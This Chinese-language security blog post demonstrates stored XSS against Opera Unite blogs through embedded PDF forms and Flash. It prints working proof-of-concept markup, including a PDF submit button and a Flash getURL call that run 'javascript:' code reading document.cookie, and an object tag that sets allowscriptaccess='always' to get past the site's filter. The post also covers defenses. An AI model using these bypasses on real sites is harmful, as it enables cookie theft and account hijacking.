我最喜歡裝新的瀏覽器了,因為我的工作跟Web很有關係,任何瀏覽器在速度上的提或新功能的發展,都可能對我有幫助。當然,另一點很重要的是,新瀏覽器的安全性。安裝完Opera 10後,我順便註冊了一個Opera Unite的帳號。隨手一測,WOW,漏洞真的很多!我有時覺得自己真是有職業病,每當朋友興高采烈的跟我介紹某新網站,某新軟體,某新產品時,我腦袋總是響著各種警鈴,WOW,這個不安全,WOW,這樣子的話漏洞大了,WOW,這功能誰設計的,根本沒考慮資安...當對方興致勃勃等我回應時,我腦袋卻總轉著各種資安問題,而沒有辦法用相同程度的熱忱與興奮來回應他們...不只如此,還會手癢開始測試問題。朋友常說我有職業病,我有時候也覺得,自己真的是職業病很嚴重。

無論如何,那麼來談談一些我週末找到的漏洞吧!每次一開始找到的漏洞不外乎SQL Injection、XSS、CSRF等,可是老是講這些似乎太老套了...那麼,來介紹一下稍微「另類」的XSS攻擊--透過PDF與Flash的XSS攻擊好了!

假設我是駭客,那麼對 Opera Unite 最有效且持久的攻擊是什麼?其中之一是,我來註冊一個免費的部落格,然後貼一篇文章。Opera Unite的部落格,支援基本的HTML語法,但是會(盡可能)過濾導致資安問題的語法,例如「javascript」或「iframe」等等。假設我能找到部落格中的「預存式XSS(stored cross-site scripting」(又稱「永久型XSS(persistent cross-site scripting」),那麼只要在登入狀態而來看我文章的 Opera Unite 使用者,都會被我攻擊,自動偷到他們的cookie,或甚至讓他們自動在他們的部落格文章中,插入一樣的攻擊碼,而造成蠕蟲式的散播。

由於 Opera Unite 對於具有威脅性的語法如「javascript」或「iframe」等,做了基本的過濾,於是如果要XSS,便要嘗試繞過其過濾函式。這種過濾函式很不好寫(見「弔詭的過濾函式」),絕對有機會繞過,但是要花時間。不如我們來用PDF吧!

藉由<embed>或<object>等tag,我們可以將PDF檔案內嵌於HTML頁面中。安裝Adobe Acrobat Reader時,Acrobat Reader會順便安裝瀏覽器plugin,而在嵌入有PDF檔案的HTML頁面被瀏覽器解析時,Acrobat Reader plugin會啟動,顯示出PDF的內容。PDF檔案格式支援表單功能,在表單中,我們可以放一個「HTTP送出按鈕(HTTP Submit Button)」,當被按下時,Acrobat Reader plugin會觸發瀏覽器開啟一個URL。

OK,重點來了,這個按鈕的URL protocol handler中,支援「javascript:」這個handler。為何PDF表單中需要支援「javascript:」?我也不知道,但是之前與Adobe總部互動討論後,得到的答案是短期內Adobe並沒有計畫要拿掉這個功能。

於是,我們可以做一個PDF,含有一個表單,於表單上放置一個「HTTP送出按鈕」,並把URL設成「javascript:cookie_stealer()」,其中cookie_stealer()就是我們偷cookie的程式。我做了一個放在www.openwaves.net上,其中表單的程式碼如下:

<field xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="22.225mm" name="HTTPSubmitButton1" w="38.1mm" x="171.45mm" y="3.175mm">
<?templateDesigner isHttpSubmitObject true?>
<ui>
<button/>
</ui>
<font typeface="Adobe Ming Std L"/>
<caption>
<value>
<text>送出</text>
</value>
<para hAlign="center" vAlign="middle"/>
<font size="36pt" typeface="Adobe Ming Std L"/>
</caption>
<border hand="right">
<?templateDesigner StyleID apbx2?>
<edge stroke="raised"/>
<fill>
<color value="212,208,200"/>
</fill>
</border>
<bind match="none"/>
<event activity="click">
<submit format="formdata" target="javascript:alert(document.cookie);" textEncoding="UTF-8"/>
</event>
</field>

接下來我們必須將此PDF嵌入我們在Opera Unite的頁面中。Opera Unite的部落格對於「<embed>」與「<object>」 兩種tag,都有支援。我們選擇用「<object>」,因為可以很容易地讓PDF秀出來時,不要有其它周邊的工具欄(toolbar)。程式如下:

<object data='http://www.openwaves.net/armorize_cht3.pdf#scrollbar=0&toolbar=0&statusbar=0&messages=0&navpanes=0' type='application/pdf' width='100%' height='70%'></object>

整個部落格文章成品請見:「PDF XSS 跨腳本攻擊測試」,畫面如下:

經過測試,此攻擊可以在Opera、Firefox、Safari、與Google Chrome等瀏覽器上執行成功,Opera的畫面就是本篇最開始的畫面,其它瀏覽器的畫面如下:(按下可以放大)

這種攻擊,要說是誰的弱點呢?我認為算是Adobe的,因為PDF表單沒有理由要支援「javascript:」這種protocol handler--或許Adobe有他們的理由吧!不過上次回報後得到的答案是,PDF跟HTML一樣,都是屬於動態文件,因此這個為「功能」而非「弱點」,所以短期內不會拿掉。既然這樣的話,只能說,網站如果有可以讓使用者自行上傳HTML的功能,那麼是否允許「<embed>」與「<object>」 等tag,需要審慎考慮。

阿碼外傳是放在Google的Blogger上,Blogger的作法則是利用javascript SOP(相同來源政策,same origin policy)與不同網域名稱來解決。Blogger的登入與管理介面是放在blogger.com上,可是實際顯示的部落格是放在armorize-cht.blogspot.com上,這樣可以達到兩種保護效果:
1. 偷到armorize-cht.blogspot.com的cookie,對於實際上管理用的blogger.com無效。
2. 由於每個部落格具有自己獨立的網域,所以即使blogspot.com有需要用到cookie,那麼偷到了armorize-cht.blogspot.com的cookie,也對於其它部落格無效。

這是很好的作法,因為要過濾HTML中的惡意字串,其實不是一件容易的事(見「弔詭的過濾函式」)。

Opera Unite的架構則不一樣,拿我註冊的測試帳號來說,部落格網址為:http://my.opera.com/armorize/blog,也就是說,每個人的部落格網址就是:http://my.opera.com/帳號/blog。如果是這樣的話,偷到別人的cookie,很可能整個Opera Unite(my.opera.com)的身份就可以盜用了。

所以,相較於 Opera Unite 努力parse使用者上傳的HTML,試圖保衛安全性,過濾惡意的元素,blogger則比較少。例如blooger對於「<embed>」與「<object>」 等tag,幾乎是不太過濾,反正偷了cookie也只是blogspot.com的cookie而已。當然cookie也有path機制可以利用,可是根據實際經驗,效果並不好,見以下「小結」中之討論。

(題外話,可是我試過,可以偷共同作者的cookie。因為blogger.com的管理介面,有預覽功能,所以我寫一篇,請其它作者幫我「改錯或檢查」,就可以偷到其它作者的cookie。)

Flash XSS 跨腳本攻擊測試

上述的PDF XSS 跨腳本攻擊法,威脅是,很多網站不知道可以這樣攻擊,所以不會限制PDF的嵌入。另外,Adobe的PDF是很流行的檔案格式,很多使用者都有裝Acrobat Reader,所以攻擊面可以很廣。可是缺點是,需要按一下按鈕才能觸發攻擊。當然,這個可以改,不過以後再寫了。現在,我們要一個更簡單的方式,最好對方一來我的部落格就中了XSS,那要如何做呢?我們可以利用另外一個安裝率可能更高的瀏覽器plugin:Adobe Flash。Flash中可以寫ActionScript,而getURL()這個函式,可以驅動瀏覽器前往某個URL,並且...對的,也支援「javascript:」protocol handler。Flash的這個功能,我看是更難拿掉了,因為很多的Flash程式,都是利用這個功能來彈出對話盒的(getURL("javascript:alert("xxx");")。

我做了一個flash的XSS攻擊程式,裡頭只有一行:「javascript:」protocol handler

onClipEvent (load) {
getURL("javascript:alert(document.cookie);");
}

我先將這個檔案放到www.openwaves.net上,然後新增一篇部落格,利用「<embed>」tag來嵌入此flash。但是Flash的保護畢竟比PDF多。在嵌入Flash時,要加註「allowscriptaccess」參數為「always」,不然「javascript:」protocol handler會被擋掉。allowscriptaccess從Flash 6就有了,Flash 7開始,如果沒有加註,則內定值為「sameDomain」。由於我們的flash攻擊程式不是放在my.opera.com上,所以我們必須將此值設定為「always」:

<EMBED href="http://www.openwaves.net/flash_xss.swf" TYPE="application/x-shockwave-flash" allowscriptaccess="always"></EMBED>

發佈部落格後,攻擊不成功,「view source」一看,原來Opera Unite認識「allowscriptaccess」,並把我們寫的「always」改成了「never」:

<embed href="http://www.openwaves.net/flash_xss.swf" type="application/x-shockwave-flash" allowscriptaccess="never">

恩,不錯,至少有基本的防禦力,那麼與其測試是否能繞過過濾函式,不如找其它的方法。我們試試「<object>」吧:

<object data='http://www.openwaves.net/flash_xss.swf' type='application/x-shockwave-flash' width='1' height='1'><param name="allowscriptaccess" value="always"></object>

結果Opera Unite並不檢查「<object>」tag中的「allowscriptaccess」值,就這樣讓我們的攻擊成功了。攻擊的部落格在:「Flash XSS 跨腳本攻擊測試」,畫面上沒有痕跡,也不需要對方按什麼地方,只要瀏覽,就可以偷cookie了。一樣,在Firefox、Opera、Safari、與Google Chrome上都能成功。


防禦方式

這邊示範了利用Adobe的兩個廣為使用的瀏覽器plugin--PDF與Flash,以Opera Unite為例,展試了如何達成XSS攻擊。這種漏洞算誰的責任?網站管理者沒有能力影響到廠商(Adobe)要如何設計他們的瀏覽器plugin,而大家卻都有安裝。PDF為何要支援「javascript:」protocol handler?我們無法知道。在這種模糊地帶,網站開發者只有自己採取錯失避免此類攻擊。過濾使用者上傳的HTML是一個方法,但是正確的過濾函式不容易撰寫。

對於利用XSS偷cookie的攻擊,另一個方法則是blogger所採用的,a)將管理平台與內容平台分開,與b)讓每一個使用者內容有其獨立的網域(user_name.blogspot.com),而非讓全部使用者的部落格都在同一網域下,例如my.opera.com。當然,cookie可有path的限制可以利用,但是事實上,單一網域的網站架構,到最後都很少利用到cookie path來限制cookie的有效範圍,Opera Unite也不例外:

SNS平台吸引人之處,就是其豐富的user-generated content;然而有效處理使用者上傳的資料並做好正確的過濾,一直都是一個很大的挑戰。針對PDF與Flash的XSS攻擊,網站開發者必須特別注意使用者上傳內容中內嵌的PDF、Flash或其它可以存取到DOM(document object model)元素的檔案。

對於一般使用者來說,最簡單的方式可以是使用多個瀏覽器(firefox、safari、chrome),負責進行登入的瀏覽器,不拿來瀏覽其它內容。Firefox可以透過--profilemanager參數來設定不同profile,也是大家常用的方式。對於PDF的XSS攻擊,使用者可以設定不要讓PDF於瀏覽器內開啟,一律以外部Acrobat reader獨立開啟:

作者Wayne為阿碼科技一員

繼續閱讀全文...